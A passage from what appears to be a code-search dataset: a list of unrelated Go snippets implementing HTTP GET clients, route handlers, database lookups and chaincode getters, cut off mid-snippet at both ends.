[]starlark.Tuple) (starlark.Value, error) {\n\n\trequest, err := newRequestFromStarlarkArgs(\"GET\", args, kwargs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn newHttpResponse(http.DefaultClient.Do(request))\n}", "func getCourse(code string) {\n\turl := baseURL + \"?key=\" + key\n\tif code != \"\" {\n\t\turl = baseURL + \"/\" + code + \"?key=\" + key\n\t}\n\tresponse, err := client.Get(url)\n\tif err != nil {\n\t\tfmt.Printf(\"The HTTP request failed with error %s\\n\", err)\n\t\tlog.Error(\"Error at get course function\", err.Error())\n\t} else {\n\t\tdata, _ := ioutil.ReadAll(response.Body)\n\t\tfmt.Println(response.StatusCode)\n\t\tfmt.Println(string(data))\n\t\tresponse.Body.Close()\n\t}\n}", "func GetVehicle(ctx context.Context, client *mongo.Client, reg string) (structs.Vehicle, error) {\n\tvar result structs.Vehicle\n\n\tcol := client.Database(\"parkai\").Collection(\"vehicles\")\n\tfilter := bson.M{\n\t\t\"registration\": reg,\n\t}\n\n\t//reg does not exist\n\tif err := col.FindOne(ctx, filter).Decode(&result); err != nil {\n\t\treturn structs.Vehicle{}, err\n\t}\n\n\treturn result, nil\n}", "func (c *Client) Get(url string, headers map[string][]string) (client.Status, map[string][]string, io.ReadCloser, error) {\n\treturn c.Do(\"GET\", url, headers, nil)\n}", "func (c Client) get(path string, params url.Values, holder interface{}) error {\n\treturn c.request(\"GET\", path, params, &holder)\n}", "func Get(c *gophercloud.ServiceClient, stackName, stackID, resourceName, eventID string) (r GetResult) {\n\tresp, err := c.Get(getURL(c, stackName, stackID, resourceName, eventID), &r.Body, nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func (w *Worker) Get(c *http.Client, url string, bind interface{}) (int, error) {\n\tr, err := c.Get(url)\n\tif err != nil {\n\t\tif r != nil {\n\t\t\tioutil.ReadAll(r.Body)\n\t\t\tr.Body.Close()\n\t\t}\n\t\treturn 0, err\n\t}\n\tdefer r.Body.Close()\n\terr = json.NewDecoder(r.Body).Decode(bind)\n\tif bind == nil {\n\t\treturn r.StatusCode, nil\n\t}\n\treturn r.StatusCode, err\n}", "func get(url string) (string, error) {\n\t//defer fetch.CatchPanic(\"Get()\")\n\tresp, err := httpClient.Get(url)\n\tif err != nil {\n\t\tpanic(\"Couldn't perform GET request to \" + url)\n\t}\n\tdefer resp.Body.Close()\n\tbytes, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tpanic(\"Unable to read the response body\")\n\t}\n\ts := string(bytes)\n\treturn s, nil\n}", "func httpGet(probe v1alpha1.ProbeAttributes, client *http.Client, resultDetails *types.ResultDetails) error {\n\t// it will retry for some retry count, in each iterations of try it contains following things\n\t// it contains a timeout per iteration of retry. if the timeout expires without success then it will go to next try\n\t// for a timeout, it will run the command, if it fails wait for the interval and again execute the command until timeout expires\n\treturn retry.Times(uint(probe.RunProperties.Retry)).\n\t\tTimeout(int64(probe.RunProperties.ProbeTimeout)).\n\t\tWait(time.Duration(probe.RunProperties.Interval) * time.Second).\n\t\tTryWithTimeout(func(attempt uint) error {\n\t\t\t// getting the response from the given url\n\t\t\tresp, err := client.Get(probe.HTTPProbeInputs.URL)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tcode := strconv.Itoa(resp.StatusCode)\n\t\t\trc := getAndIncrementRunCount(resultDetails, probe.Name)\n\n\t\t\t// comparing the response code with the expected criteria\n\t\t\tif err = cmp.RunCount(rc).\n\t\t\t\tFirstValue(code).\n\t\t\t\tSecondValue(probe.HTTPProbeInputs.Method.Get.ResponseCode).\n\t\t\t\tCriteria(probe.HTTPProbeInputs.Method.Get.Criteria).\n\t\t\t\tCompareInt(); err != nil {\n\t\t\t\tlog.Errorf(\"The %v http probe get method has Failed, err: %v\", probe.Name, err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n}", "func (req *Req) Get(u string) ([]byte, error) {\n\treturn req.request(\"GET\", u)\n}", "func (c *Client) Get(headers map[string]string, queryParams map[string]string) ([]byte, error) {\n\n\t// add parameters to the url\n\tv := url.Values{}\n\tfor key, value := range queryParams {\n\t\tv.Add(key, value)\n\t}\n\turi, err := url.Parse(c.baseURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\turi.RawQuery = v.Encode()\n\tc.baseURL = uri.String()\n\n\t// create a new get request\n\trequest, err := http.NewRequest(\"GET\", c.baseURL, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// add headers to the request\n\tfor key, value := range headers {\n\t\trequest.Header.Add(key, value)\n\t}\n\n\tresponse, err := c.sendRequestWithRetry(request)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// if response is an error (not a 200)\n\tif response.StatusCode > 299 {\n\t\treturn nil, errors.New(response.Status)\n\t}\n\t// read the body as an array of bytes\n\tresponseBody, err := ioutil.ReadAll(response.Body)\n\treturn responseBody, err\n}", "func Get(method, url string, params map[string]string, vPtr interface{}) error {\n\taccount, token, err := LoginWithSelectedAccount()\n\tif err != nil {\n\t\treturn LogError(\"Couldn't get account details or login token\", err)\n\t}\n\turl = fmt.Sprintf(\"%s%s\", account.ServerURL, url)\n\n\treq, err := http.NewRequest(method, url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif token != \"\" {\n\t\treq.Header.Add(\"Authorization\", fmt.Sprintf(\"Bearer %s\", token))\n\t}\n\tq := req.URL.Query()\n\tfor k, v := range params {\n\t\tq.Add(k, v)\n\t}\n\treq.URL.RawQuery = q.Encode()\n\tresp, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer CloseTheCloser(resp.Body)\n\n\tdata, _ := ioutil.ReadAll(resp.Body)\n\n\tif resp.StatusCode != 200 {\n\t\trespBody := map[string]interface{}{}\n\t\tif err := json.Unmarshal(data, &respBody); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t_ = LogError(fmt.Sprintf(\"error while getting service got http status code %s - %s\", resp.Status, respBody[\"error\"]), nil)\n\t\treturn fmt.Errorf(\"received invalid status code (%d)\", resp.StatusCode)\n\t}\n\n\tif err := json.Unmarshal(data, vPtr); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func get(uri string) string {\n\tresp, err := http.Get(uri)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tbody, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn string(body)\n}", "func (c *Connection) Get(urlToGet string) (resp *http.Response, err error) {\n\tif !c.ready {\n\t\terr = NotReadyError\n\t\treturn\n\t}\n\n\tlog.Debugf(\"[%s] getting %s\", c.name, urlToGet)\n\treq, err := http.NewRequest(\"GET\", urlToGet, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\tfor h := range c.headers {\n\t\treq.Header.Set(h, c.headers[h])\n\t}\n\tresp, err = c.client.Do(req)\n\tif err != nil || resp.StatusCode != 200 {\n\t\tif err != nil {\n\t\t\tlog.Tracef(\"[%s] got error: %s\", c.name, err.Error())\n\t\t} else {\n\t\t\tlog.Tracef(\"[%s] got status code: %d\", c.name, resp.StatusCode)\n\t\t\t// bad code received, reload\n\t\t\tgo c.Connect()\n\t\t}\n\t}\n\n\treturn\n}", "func (c *Client) Get(ctx context.Context, url string, data ...interface{}) (*Response, error) {\n\treturn c.DoRequest(ctx, http.MethodGet, url, data...)\n}", "func (c *TogglHttpClient) GetRequest(endpoint string) (*json.RawMessage, error) {\n\treturn request(c, \"GET\", endpoint, nil)\n}", "func (a *Client) Get(params *GetParams) (*GetOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewGetParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"get\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/\",\n\t\tProducesMediaTypes: []string{\"application/json; qs=0.5\", \"application/vnd.schemaregistry+json; qs=0.9\", \"application/vnd.schemaregistry.v1+json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\", \"application/octet-stream\", \"application/vnd.schemaregistry+json\", \"application/vnd.schemaregistry.v1+json\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &GetReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*GetOK), nil\n\n}", "func Get(path string, fn http.HandlerFunc, c ...alice.Constructor) {\n\tinfoMutex.Lock()\n\trecord(\"GET\", path)\n\tr.Get(path, alice.New(c...).ThenFunc(fn).(http.HandlerFunc))\n\tinfoMutex.Unlock()\n}", "func (c *Client) Get(url string, headers, queryParams map[string][]string) (response *http.Response, err error) {\n\treturn c.makeRequest(url, http.MethodGet, headers, queryParams, nil)\n}", "func (a *Client) Get(params *GetParams) (*GetOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewGetParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"get\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/\",\n\t\tProducesMediaTypes: []string{\"application/json; qs=0.5\", \"application/vnd.schemaregistry+json; qs=0.9\", \"application/vnd.schemaregistry.v1+json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\", \"application/octet-stream\", \"application/vnd.schemaregistry+json\", \"application/vnd.schemaregistry.v1+json\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &GetReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*GetOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for get: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}", "func (cli *OpsGenieTeamClient) Get(req team.GetTeamRequest) (*team.GetTeamResponse, error) {\n\treq.APIKey = cli.apiKey\n\tresp, err := cli.sendRequest(cli.buildGetRequest(teamURL, req))\n\n\tif resp == nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\tvar getTeamResp team.GetTeamResponse\n\n\tif err = resp.Body.FromJsonTo(&getTeamResp); err != nil {\n\t\tmessage := \"Server response can not be parsed, \" + err.Error()\n\t\tlogging.Logger().Warn(message)\n\t\treturn nil, errors.New(message)\n\t}\n\treturn &getTeamResp, nil\n}", "func (c *Client) Get(url string) (*http.Response, error) {\n\tb := c.breakerLookup(url)\n\tif b == nil {\n\t\treturn c.client.Get(url)\n\t}\n\n\tctx := getGetCtx()\n\tdefer releaseGetCtx(ctx)\n\n\tctx.Client = c.client\n\tctx.ErrorOnBadStatus = c.errOnBadStatus\n\tctx.URL = url\n\tif err := b.Call(ctx, breaker.WithTimeout(c.timeout)); err != nil {\n\t\treturn nil, err\n\t}\n\treturn ctx.Response, ctx.Error\n}", "func TestGetVehicle(t *testing.T) {\n\tsetUp(t)\n\tdefer tearDown()\n\n\t// Expect DB FindVehicle\n\tvehicle := model.Vehicle{Vin: \"vin1\", EngineType: \"Combustion\", EvData: nil}\n\tmockVehicleDAO.EXPECT().FindVehicle(gomock.Eq(\"vin1\")).Return(&vehicle, nil)\n\n\t// Send GET request\n\treq, err := http.NewRequest(\"GET\", \"/vehicle?vin=vin1\", nil)\n\trequire.NoError(t, err)\n\trr := httptest.NewRecorder()\n\thandlers.GetVehicle(rr, req)\n\n\t// Check code\n\trequire.Equal(t, 200, rr.Code)\n\n\t// Check body\n\tvar responseVehicle model.Vehicle\n\terr = helpers.DecodeJSONBody(rr.Body, &responseVehicle)\n\trequire.NoError(t, err)\n\trequire.Equal(t, vehicle, responseVehicle)\n}", "func getTeam(params martini.Params, w http.ResponseWriter, r *http.Request) {\n\tid := params[\"team\"]\n\tteam := models.NewTeam(id)\n\tskue.Read(view, team, nil, w, r)\n}", "func Get(url string, res interface{}) (interface{}, error) {\n\tlog.Debug(\"GET %s token: %s\", url, *tokenPtr)\n\tr := resty.R()\n\tif res != nil {\n\t\tr.SetResult(res)\n\t}\n\tr.SetHeader(\"Authorization\", fmt.Sprintf(\"Bearer %s\", *tokenPtr))\n\tresp, err := r.Get(url)\n\tif err == nil && resp.StatusCode() != 200 {\n\t\treturn nil, fmt.Errorf(\"GET Request returned error %d: \", resp.StatusCode())\n\t}\n\treturn resp.Result(), err\n}", "func (c *Client) RenterGet() (rg api.RenterGET, err error) {\n\terr = c.get(\"/renter\", &rg)\n\treturn\n}", "func (tc *tclient) get() error {\n\t// 1 -- timeout via context.\n\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)\n\tdefer cancel()\n\n\treq, err := http.NewRequestWithContext(ctx,\n\t\t\"GET\", tc.url+\"/ping\", nil)\n\n\tresp, err := tc.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Printf(\"SUCCESS: '%s'\", string(body))\n\treturn nil\n}", "func infrastructure(client *http.Client, url string) ([]byte, error) {\n\treq, err := http.NewRequest(\"GET\", url, nil) // define req as request to the GET function\n\tresp, err := client.Do(req) // do the request\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"client req error: \" + err.Error())\n\t} else { // if there is an error, return nil and the error message\n\t\tresponseBody, err := ioutil.ReadAll(resp.Body) // responseBody will get the body of \"resp\" - the output from the GET request.\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"body read error: \" + err.Error())\n\t\t} else {\n\t\t\treturn responseBody, err\n\t\t}\n\t}\n}", "func (c *Client) Get(path string) (f interface{}, err error) {\n\treturn c.do(\"GET\", path, nil)\n}", "func GetRaceByAddress(address string) models.Race {\n\tsession := connect()\n\tdefer session.Close()\n\n\tc := session.DB(\"fellraces\").C(\"raceinfo\")\n\n\tvar race models.Race\n\tc.Find(bson.M{\"venue\": address}).One(&race)\n\n\treturn race\n}", "func (api *PrimaryAPI) GetAllRaces(w http.ResponseWriter, r *http.Request) {\n\n\tv, err := api.Election.GetAllRaces()\n\tif err != nil {\n\t\tw.WriteHeader(500)\n\t\tw.Write([]byte(err.Error()))\n\t\treturn\n\t}\n\n\tWriteJSON(w, v)\n\n}", "func (F *Frisby) Get(url string) *Frisby {\n\tF.Method = \"GET\"\n\tF.Url = url\n\treturn F\n}", "func (session *Session) Get(path string, params Params) (res Result, err error) {\n\turlStr := session.app.BaseEndPoint + session.getRequestUrl(path, params)\n\n\tvar response []byte\n\tresponse, err = session.SendGetRequest(urlStr)\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tres, err = MakeResult(response)\n\treturn\n}", "func (l *RemoteProvider) GetSchedule(req *http.Request, scheduleID string) ([]byte, error) {\n\tif !l.Capabilities.IsSupported(PersistSchedules) {\n\t\tlogrus.Error(\"operation not available\")\n\t\treturn nil, ErrInvalidCapability(\"PersistSchedules\", l.ProviderName)\n\t}\n\n\tep, _ := l.Capabilities.GetEndpointForFeature(PersistSchedules)\n\n\tlogrus.Infof(\"attempting to fetch schedule from cloud for id: %s\", scheduleID)\n\n\tremoteProviderURL, _ := url.Parse(fmt.Sprintf(\"%s%s/%s\", l.RemoteProviderURL, ep, scheduleID))\n\tlogrus.Debugf(\"constructed schedule url: %s\", remoteProviderURL.String())\n\tcReq, _ := http.NewRequest(http.MethodGet, remoteProviderURL.String(), nil)\n\n\ttokenString, err := l.GetToken(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp, err := l.DoRequest(cReq, tokenString)\n\tif err != nil {\n\t\treturn nil, ErrFetch(err, \"Perf Schedule :\"+scheduleID, resp.StatusCode)\n\t}\n\tdefer func() {\n\t\t_ = resp.Body.Close()\n\t}()\n\tbdr, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, ErrDataRead(err, \"Perf Schedule :\"+scheduleID)\n\t}\n\n\tif resp.StatusCode == http.StatusOK {\n\t\tlogrus.Infof(\"schedule successfully retrieved from remote provider\")\n\t\treturn bdr, nil\n\t}\n\treturn nil, ErrFetch(err, fmt.Sprint(bdr), resp.StatusCode)\n}", "func get(pth string) (int, []byte, error) {\n\tresp, err := http.Get(Protocol + path.Join(URL, pth))\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\n\treturn resp.StatusCode, body, nil\n}", "func Get(url string) (resp *http.Response, err error) {\n\treturn do(\"GET\", url, nil)\n}", "func (c *Client) Get(path string) (io.ReadCloser, error) {\n\n\treq, err := http.NewRequest(\"GET\", c.url+\"/\"+path, nil)\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed: %v\", err)\n\t\treturn nil, err\n\t}\n\n\tlog.Printf(\"URL: %v\\n\", req.URL)\n\n\treq.Header.Add(\"Authorization\", \"Bearer \"+c.apiKey)\n\n\tresp, err := c.client.Do(req)\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed: %v\", err)\n\t\treturn nil, err\n\t}\n\n\treturn resp.Body, nil\n}", "func get(stub shim.ChaincodeStubInterface, args []string) (string, error) {\n if len(args) != 1 {\n return \"\", fmt.Errorf(\"Incorrect arguments. Expecting a key\")\n }\n\n PatientBytes, err := stub.GetState(args[0])\n if err != nil {\n return \"\", fmt.Errorf(\"Failed to get asset: %s with error: %s\", args[0], err)\n }\n if PatientBytes == nil {\n return \"\", fmt.Errorf(\"Asset not found: %s\", args[0])\n }\n return string(PatientBytes), nil\n}", "func (c *Client) Get(endpoint string) ([]byte, error) {\n\treservation := c.limiter.Reserve()\n\n\tif !reservation.OK() {\n\t\tduration := reservation.DelayFrom(time.Now())\n\t\treservation.Cancel()\n\t\treturn nil, fmt.Errorf(ErrRateLimited, duration.Milliseconds())\n\t}\n\n\treqUrl := c.client.BaseUrl + endpoint\n\terr := c.PrepareRequest(http.MethodGet, endpoint, reqUrl, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = c.client.Submit()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error submitting request\")\n\t}\n\n\treservation.Cancel()\n\n\treturn c.client.Response.Body(), nil\n}", "func (api *apiConfig) MethodGet(uri string, queryParams map[string]string, decodedResponse interface{}) error {\n\t// If an override was configured, use it instead.\n\tif api.methodGet != nil {\n\t\treturn api.methodGet(uri, queryParams, decodedResponse)\n\t}\n\n\t// Form the request to make to WebFlow.\n\treq, err := http.NewRequest(\"GET\", api.BaseURL+uri, nil)\n\tif err != nil {\n\t\treturn errors.New(fmt.Sprint(\"Unable to create a new http request\", err))\n\t}\n\n\t// Webflow needs to know the auth token and the version of their API to use.\n\treq.Header.Set(\"Authorization\", \"Bearer \"+api.Token)\n\treq.Header.Set(\"Accept-Version\", defaultVersion)\n\n\t// Set query parameters.\n\tif len(queryParams) > 0 {\n\t\tquery := req.URL.Query()\n\t\tfor key, val := range queryParams {\n\t\t\tquery.Add(key, val)\n\t\t}\n\t\treq.URL.RawQuery = query.Encode()\n\t}\n\n\t// Make the request.\n\tres, err := api.Client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// TODO: read docs for ReaderCloser.Close() to determine what to do when it errors.\n\tdefer res.Body.Close()\n\n\t// Status codes of 200 to 299 are healthy; the rest are an error, redirect, etc.\n\tif res.StatusCode >= 300 || res.StatusCode < 200 {\n\t\terrResp := &GeneralError{}\n\t\tif err := json.NewDecoder(res.Body).Decode(errResp); err != nil {\n\t\t\treturn fmt.Errorf(\"Unknown API error; status code %d; error: %+v\", res.StatusCode, err)\n\t\t}\n\t\treturn errors.New(errResp.Err)\n\t}\n\n\tif err := json.NewDecoder(res.Body).Decode(decodedResponse); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (g *Getter) Get(url string) (*http.Response, error) {\n\treturn g.Client.Get(url)\n}", "func Get(domain, url, token, tokenKey string) (*http.Response, error) {\n\t/*\n\t * First we will initalize the client\n\t * Then we will send the get request\n\t * Then we will return the response\n\t */\n\t//initalizing the client\n\tclient := heimdallC.NewClient(\n\t\theimdallC.WithHTTPClient(&myHTTPClient{\n\t\t\ttoken: token,\n\t\t\ttokenKey: tokenKey,\n\t\t\tdomain: domain,\n\t\t}),\n\t)\n\n\t//then we will make the request\n\tres, err := client.Get(url, http.Header{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//return the response\n\treturn res, nil\n}", "func (r raceMongoRepo) GetRaceByID(id string) (*domain.Race, error) {\n\tfmt.Printf(\"ID %v\", id)\n\ti := bson.IsObjectIdHex(id)\n\tif !i {\n\t\tfmt.Println(\"not a valid hex\")\n\t\treturn nil, errors.New(\"Not a valid id\")\n\t}\n\trm := RaceMongo{\n\t\tID: bson.ObjectIdHex(id),\n\t}\n\terr := r.session.DB(\"dnd5e\").C(\"races\").With(r.session.Copy()).FindId(rm.ID).One(&rm)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn mapRaceToDomain(&rm), nil\n}", "func (s *FrontendServer) Get(ctx context.Context, req *pb.GetRequest) (*pb.GetResponse, error) {\n\tvar err error\n\tvar returnErr error = nil\n\tvar returnRes *pb.GetResponse\n\tvar res *clientv3.GetResponse\n\tvar val string\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer cancel()\n\tkey := req.GetKey()\n\tswitch req.GetType() {\n\tcase utils.LocalData:\n\t\tres, err = s.localSt.Get(ctx, key) // get the key itself, no hashes used\n\t\t// log.Println(\"All local keys in this edge group\")\n\t\t// log.Println(s.localSt.Get(ctx, \"\", clientv3.WithPrefix()))\n\tcase utils.GlobalData:\n\t\tisHashed := req.GetIsHashed()\n\t\tif s.gateway == nil {\n\t\t\treturn returnRes, fmt.Errorf(\"RangeGet request failed: gateway node not initialized at the edge\")\n\t\t}\n\t\tstate, err := s.gateway.GetStateRPC()\n\t\tif err != nil {\n\t\t\treturn returnRes, fmt.Errorf(\"failed to get state of gateway node\")\n\t\t}\n\t\tif state < dht.Ready { // could happen if gateway node was created but didnt join dht\n\t\t\treturn returnRes, fmt.Errorf(\"edge node %s not connected to dht yet or gateway node not ready\", s.print())\n\t\t}\n\t\t// log.Println(\"All global keys in this edge group\")\n\t\t// log.Println(s.globalSt.Get(ctx, \"\", clientv3.WithPrefix()))\n\t\tif !isHashed {\n\t\t\tkey = s.gateway.Conf.IDFunc(key)\n\t\t}\n\t\tans, er := s.gateway.CanStoreRPC(key)\n\t\tif er != nil {\n\t\t\tlog.Fatalf(\"Get request failed: communication with gateway node failed\")\n\t\t}\n\t\tif ans {\n\t\t\tres, err = s.globalSt.Get(ctx, key)\n\t\t} else {\n\t\t\tval, err = s.gateway.GetKVRPC(key)\n\t\t}\n\t}\n\t// cancel()\n\treturnErr = checkError(err)\n\tif (res != nil) && (returnErr == nil) {\n\t\t// TODO: what if Kvs returns more than one kv-pair, is that possible?\n\t\tif len(res.Kvs) > 0 {\n\t\t\tkv := res.Kvs[0]\n\t\t\tval = string(kv.Value)\n\t\t\t// log.Printf(\"Key: %s, Value: %s\\n\", kv.Key, kv.Value)\n\t\t\treturnRes = &pb.GetResponse{Value: val, Size: int32(len(val))}\n\t\t} else {\n\t\t\treturnErr = status.Errorf(codes.NotFound, \"Key Not Found: %s\", req.GetKey())\n\t\t}\n\t} else {\n\t\tif returnErr == nil {\n\t\t\t// we already have the value from a remote group\n\t\t\treturnRes = &pb.GetResponse{Value: val, Size: int32(len(val))}\n\t\t}\n\t}\n\treturn returnRes, returnErr\n}", "func (tr *Transport) GET(\n\turi string,\n\tfn Handler,\n\toptions ...HandlerOption,\n) {\n\ttr.mux.Handler(\n\t\tnet_http.MethodGet,\n\t\turi,\n\t\tnewHandler(fn, append(tr.options, options...)...),\n\t)\n}", "func getTime() (string, error) {\n\t// prepare a new request\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// set the credentials for basic auth\n\treq.SetBasicAuth(Username, Password)\n\n\t// create a new http client\n\tcli := http.Client{}\n\n\t// send the request and grab the response\n\tres, err := cli.Do(req)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer res.Body.Close()\n\n\t// if the request was not successfull, return an error\n\tif res.StatusCode != 200 {\n\t\treturn \"\", fmt.Errorf(\"unexpected status code %d\", res.StatusCode)\n\t}\n\n\t// read and return the response body\n\tbody, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(body), nil\n}", "func Get(path string, fn http.HandlerFunc, c ...alice.Constructor) {\n\trecord(\"GET\", path)\n\n\tinfoMutex.Lock()\n\tr.GET(path, Handler(alice.New(c...).ThenFunc(fn)))\n\tinfoMutex.Unlock()\n}", "func get(stub shim.ChaincodeStubInterface, voteType string) peer.Response {\n\t// Holds a string for the response\n\tvar votes string\n\n\t// Local variables for value & error\n\tvar get_value []byte\n\tvar err error\n\t\n\tif get_value, err = stub.GetState(voteType); err != nil {\n\n\t\tfmt.Println(\"Get Failed!!! \", err.Error())\n\n\t\treturn shim.Error((\"Get Failed!! \"+err.Error()+\"!!!\"))\n\n\t} \n\n\t// nil indicates non existent key\n\tif (get_value == nil) {\n\t\tvotes = \"-1\"\n\t} else {\n\t\tvotes = string(get_value)\n\t}\n\n\tfmt.Println(votes)\n\t\n\treturn shim.Success(get_value)\n}", "func (m *MockClient) Get(url string) (*http.Response, error) {\n\treturn GetFunc(url)\n}", "func (c *Client) Get(key paxi.Key) (paxi.Value, error) {\n\tc.HTTPClient.CID++\n\tif *readLeader {\n\t\treturn c.readLeader(key)\n\t} else if *readQuorum {\n\t\treturn c.readQuorum(key)\n\t} else {\n\t\treturn c.HTTPClient.Get(key)\n\t}\n}", "func (c *Case) GET(p string) *RequestBuilder {\n\treturn &RequestBuilder{\n\t\tmethod: http.MethodGet,\n\t\tpath: p,\n\t\tcas: c,\n\t\tfail: c.fail,\n\t}\n}", "func (t *TeamsService) Get(teamID int) (*TeamResponse, *simpleresty.Response, error) {\n\tvar result *TeamResponse\n\turlStr := t.client.http.RequestURL(\"/team/%d\", teamID)\n\n\t// Set the correct authentication header\n\tt.client.setAuthTokenHeader(t.client.accountAccessToken)\n\n\t// Execute the request\n\tresponse, getErr := t.client.http.Get(urlStr, &result, nil)\n\n\treturn result, response, getErr\n}", "func (client *Instance) GET() (statusCode int, body []byte, err error) {\n\tapi, err := client.nextServer()\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\treturn api.HostClient.Get(nil, api.Addr)\n}", "func (cli *Client) Get(targetURL *url.URL) {\n\tvar resp *resty.Response\n\tvar err error\n\n\tif cli.Config.Oauth2Enabled {\n\t\tresp, err = resty.R().\n\t\t\tSetHeader(\"Authorization\", fmt.Sprintf(\"Bearer %s\", cli.AccessToken)).\n\t\t\tGet(targetURL.String())\n\t} else {\n\t\tresp, err = resty.R().Get(targetURL.String())\n\t}\n\tif err != nil {\n\t\tfmt.Printf(\"ERR: Could not GET request, caused by: %s\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tfmt.Print(resp)\n}", "func Get(key string) (string, error) {\n\treturn client.Get(key).Result()\n}", "func Get(c *gophercloud.ServiceClient, idOrURL string) (r GetResult) {\n\tvar url string\n\tif strings.Contains(idOrURL, \"/\") {\n\t\turl = idOrURL\n\t} else {\n\t\turl = getURL(c, idOrURL)\n\t}\n\tresp, err := c.Get(url, &r.Body, nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func (c *Client) get(url string, query url.Values) (json.RawMessage, error) {\n\treq, err := http.NewRequest(http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create get request\")\n\t}\n\treq.URL.RawQuery = query.Encode()\n\tres, err := c.client.Do(req)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"cound not get %v\", url)\n\t}\n\tdefer res.Body.Close()\n\tvar resp response\n\tif err := json.NewDecoder(res.Body).Decode(&resp); err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not decode response\")\n\t}\n\tif resp.Code != 0 {\n\t\treturn nil, errors.Errorf(\"get response code %d\", resp.Code)\n\t}\n\treturn resp.Data, nil\n}", "func Get (url string, args map[string]string) (*http.Response, error) {\n\t// create a client\n\tclient, req, _ := GetHttpClient(url)\n\t// build the query\n\tif len(args) > 0 {\n\t\treq = buildQuery(req, args)\n\t}\n\t// execute the request\n\t//fmt.Println(req.URL.String())\n\treturn client.Do(req)\n}", "func GET(key string) (value string, err error) {\n\tconn := pool.Get()\n\tdefer conn.Close()\n\tvalue, err = redis.String(conn.Do(\"GET\", key))\n\treturn\n}", "func (a *appService) getTravel(c *fiber.Ctx) error {\n\tid := c.Params(\"id\")\n\tif id == \"\" {\n\t\treturn response(nil, http.StatusUnprocessableEntity, errors.New(\"id is not defined\"), c)\n\t}\n\tctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)\n\tdefer cancel()\n\n\ttravel, err := a.Repository.findOne(ctx, id)\n\treturn response(travel, http.StatusOK, err, c)\n}", "func (ck *Clerk) Get(key string) string {\n\tDPrintf(\"CLIENT starting get of %s\\n\", key)\n\targs := GetArgs{key, nrand()}\n\ti := ck.leader\n\tfor {\n\t\tvar reply GetReply\n\t\tDPrintf(\"CLIENT %d TRYING TO CALL GET on server %d for key %s\\n\", 